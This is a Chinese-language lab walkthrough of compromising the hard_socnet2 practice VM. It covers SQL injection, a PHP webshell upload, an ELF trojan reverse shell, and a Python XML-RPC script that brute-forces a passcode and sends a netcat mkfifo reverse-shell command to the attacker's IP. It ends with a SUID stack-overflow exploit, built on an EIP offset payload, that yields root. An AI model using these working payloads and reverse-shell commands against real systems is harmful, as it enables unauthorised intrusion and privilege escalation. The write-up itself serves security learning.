本篇文章在堆栈溢出提权部分借鉴了作者: 爱婷如命一生一世 的文章:hard-socnet2高难度 - 墨天轮 多向大佬学习!
拿到系统权限-root
本次渗透测试范围为本地,具体如下:
表1-1:渗透测试对象
序号 | 系统名称 | 网站地址 | 内外网 |
1 | hard_socnet2 | http://192.168.22.137 | 内网 |
2023年11月6日下午16:00--2023年11月7日下午13:00
在本地开展内网的vmware虚拟机中渗透测试。
TYR2
- 信息收集
- 主机存活扫描和端口扫描
nmap -A 192.168.22.137
开启22端口和80端口、8000端口
- 目录扫描
/data 目录是保存图片的-我们上传的图片也在里面-可以使用图片上传绕过上传php文件
/index.php/login.php是另一个登录界面
/images中存放了一个photo图片
/resources中存放css文件和js文件
/database中有两个sql脚本文件-可能存在管理员账号密码
一个留言板-具有xss存储型漏洞
- Sql注入漏洞验证与利用
- 发现搜索页面具有sql注入
- 使用sqlmap验证一下
跑出了admin的账号密码
- 登录看看
发现没啥可利用的点-和普通用户一样
amdin说他有一个脚本拿来监视服务器
- 文件上传漏洞验证与利用
- 发现可以上传图片--没有安全过滤,直接可以上传php文件
然后我们去上面扫出来的目录/data中去找到我们的php文件
使用哥斯拉连接
- 连接成功-并且是www-data用户
发现/etc/passwd可读,只能root权限可写
并且发现一个普通用户socnet
- /tmp目录所有用户可读写
使用kali生成elf木马并开启临时服务器,进入到靶机tmp目录,使用wget下载elf木马并使用chmod 777 .elf给予可执行权限,执行elf文件-kali机同时开启监听,反弹shell成功
- 通过反弹的shell查看当前内核版本
- 通过searchsploit 查不到相关提权脚本
网上查了一下Ubuntu 18.04.1发现有提权脚本-cve-2021-3493
下载poc到kali
kali开启临时服务器
进入到tmp目录下载脚本
给予执行权限-然后编译执行
运行之后用户还是www-data
- 到这很较劲脑汁,但是好像socnet用户下有几个python文件可以利用
add_record具有suid权限
- monitor.py在之前admin账户在留言板说的,他们在使用。
- 查了一下
- py客户端代码编写
①先进行简单测试:通过脚本请求了服务端的cpu信息,服务端接受到cpu请求后,通过其API接口执行了客户端的请求,查询到了目标服务器CPU的信息
# cat a.py import xmlrpc.client with xmlrpc.client.ServerProxy("http://192.168.22.137:8000/") as proxy: print(str(proxy.cpu())) # python3 a.py |
②修改客户端代码,通过暴力破解的方式,把服务器端的random随机生成的数字passcode破解出来
# cat b.py import xmlrpc.client with xmlrpc.client.ServerProxy("http://192.168.22.137:8000/") as proxy: for p in range(1000,10000): r = str(proxy.secure_cmd('whoami',p)) if not "Wrong" in r: print(p) print(r) break # python3 b.py |
③编写客户端代码,通过上一步暴力破解出的passcode值,使服务器执行自定义系统命令(此处为反弹shell命令)
编写客户端代码
# cat a.py import xmlrpc.client with xmlrpc.client.ServerProxy("http://192.168.22.137:8000/") as proxy: cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.22.129 4444 >/tmp/f" r = str(proxy.secure_cmd(cmd,4902)) print(r) |
- 先运行b.py获取固定的数字
然后把数字写入到c.py并运行—kali同时开启监听
- 好不容易拿到这个shell后门,需要将它升级的更为友好!
socnet@socnet2:~$ python -c "import pty;pty.spawn('/bin/bash')"
- 在cocnet这个家目录下的add_recprd这个文件,需要看一看
通过file文件查看add这个文件格式,得到的结果是ELF 32位的
通过对add这个文件格式查看,得到在运行时是通过运行suid,并且在文件权限中也是有这样的权限位
可以明白靶机的作者的意图,在于通过这个文件的SUID权限位来进行提权(因为这个文件的属主账号是root )
- 为了更详细了解add这个文件的关系,我先观察peda文件--动态调试
- 想到动态调试,势必会有内存溢出的漏洞,堆溢出漏洞。
利用GDB调试这个文件来跟踪其运行情况。
了解完漏洞挖掘的基本流程,就需要知道知道靶机中add_record有哪些数据注入点?
尝试运行add_record文件;
- 知道是输入员工的数据
按照他的要求输入--没什么问题
并且在当前目录生成了一个employee_records.txt的文件,里面记录了输入的员工信息
总结的来说,姓名,薪资,年限,工作中的是否有问题,问题描述都是数据入口点。
接下来针对这些数据入口点,来侦测是否存在内存溢出的漏洞!
用gdb (动态调试程序的一个工具)以安静的模式调试add_record这个程序,进行详细跟踪了解具体的哪个数据提交过程能造成溢出等漏洞!
输入r (run运行的意思)才能被真正运行(程序按照指定的逻辑运行),不输入只是调用的意思。
- 测试数据是否有堆栈溢出,
顺序是:分别输入大量数据,如果直接弹出,则当前输入点没有堆栈溢出,否则有
- 在测到输入员工名的时候,发现出现异常,溢出数据到寄存器中了
- 在此次发现的缓冲区溢出漏洞,请初学者(我就是)尤为注意EIP寄存器(保存了CPU运行下一条指定放置的内存编号)。
那么问题来了,这4个A是500个A中的第几个A呢?因为这个答案影响着溢出的临界点,就能精准的判断是多少个数值覆盖到其他寄存器中。
为了搞清楚这个问题,这4个A的位置采用加载payload的内存地址,这样一来EIP寄存器就会存入我们写的地址,CPU在运行时,就会调用EIP的信息里的地址,从而反弹shell,获得目标系统的管理权限
可以使用二分法进行判断具体的位置,或者输入凌乱的数据,可以去更好的判断
利用pattern search,能看到EIP的偏移量是62,说明从第六十三个字符中进入到EIP寄存器中。
EIP+0 found at offset: 62
- 来证实2324这4个字符是否会在EIP寄存器中
在等到描述中输入,结果EIP缓存器中写入了2324
EIP: 0x34323332 ('2324')------->这里面的内容决定了是否关键提权。
这就可以在EIP寄存器中写入我们想要的数据了。
- 首先查看这个程序中所用程序入口发向CPU的汇编代码情况。
gdb-peda$ disas main 这个命令的意思就是将这个add的主程序加载。
关于汇编代码简单的说,一个程序在执行中,CPU会给其分配很多内存地址,内存地址中携带了很多指令,程序的处理等,最后再将运算结果输出。
从这个add程序的运行来看也不列外,当我在运行这条程序时,首先弹出了欢迎页面,然后在弹出了一些指定的提示。
- 这里需要打断点,慢慢去了解程序是如何执行的了
break *+地址 -->这样就是一个打断点的方式
@plt是c语言的的内建函数。
fopen@plt(被调用的一个系统函数)是猜测是打开文本文件的意思
- 下面是几个系统的函数
- 接下来往下看,又调用了一个call的功能函数
而这个函数则调用了put,其作用是输出,配合Printf内建函数进行打印输出。
之后便是打断点了
为了了解函数的作用,我们可以在函数前一个地址打上断点
- 比如这里想了解printf函数的作用,就要去打断点
输入:break *0x0804874f 打上一个断点
图中显示我是第四个断点,不过不影响,因为我之前打过三个断点了,再打新断点的时候把旧的断点删了就可以了
删除断点:del number
然后输入r运行
就出现了这样的界面
可以看到运行点停在了我们刚打的断点那里,可以输入s执行下一步
可以看到此时程序就停留在了提示信息那里(输入员工名)
- 可以输入c把程序运行内容呈现出来,验证一下
验证确实是来到了printf这里
后面的一些函数也可以这样打断点去测试
出来printf函数外还有一个非系统自建函数vuln
如图:disas main 查看主程序
- 为了确认这个vuln不是系统自建函数,接下来看看这个程序中到底有哪些函数
输入:info func --->查看所有使用的函数
- 可以看到很敏感的函数名:backdoor(后门)、vuln(脆弱的)
应该是作者留给我们解题的关键信息了
并且还看到了setuid函数,说明有些程序是调用了suid这个函数的,system函数是用来调用操作系统指令。
分析到这里说明这个add_record程序是存在调用操作系统指令的功能!
- 我们可以使用disas + 函数名 查看函数具体
disas vuln
- 那就把注意力放在了strcpy这个函数上来了!
- 再次查看backdoor的汇编情况,也是利用call调用了setuid的内建函数,请求完之后又调用了system内建函数(尝试执行系统的操作指令)。
- 查看backdoor里的调用内容的内存地址。0x08048676
- 在目标靶机中先退出gdb调试器,并输入之前的这个 命令,生成一个payload文件
python -c "import struct; print('abc\n2\n3\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" >payload
接下来,将这个payload文件一次性的输入给add_record这个程序。
再次运行gdb调试工具
可以看到payload已经保存在本地了
可以看看其中的内容
启动gdb调试工具
输入:gdb -q ./add_record
r < payload
可以看到新增了几个进程,调用了/bin/bash
此为止,就可以明白这个漏洞产生的原因,在目标靶机中主程序add_record中有一个vuln函数(存在漏洞scrpty)
就要利用payload这个漏洞代码来触发这个程序,返回root权限!
这里获得了欢迎页面和黑屏的提示
输入: cat payload - | ./add_record
直接输入id就能发现我们进入了一个交互式的shell,并且我们的id是0,root权限,到此就成功提权了
- 渗透测试结果汇总
怎么说呢,这个靶场对我来说还是难度太大了。其中也去搜索了很多方法去利用。在其中也学习到了许多方法,感觉在打完这个靶场后,自己的思路变得很清晰了一些,也学会了很多方法。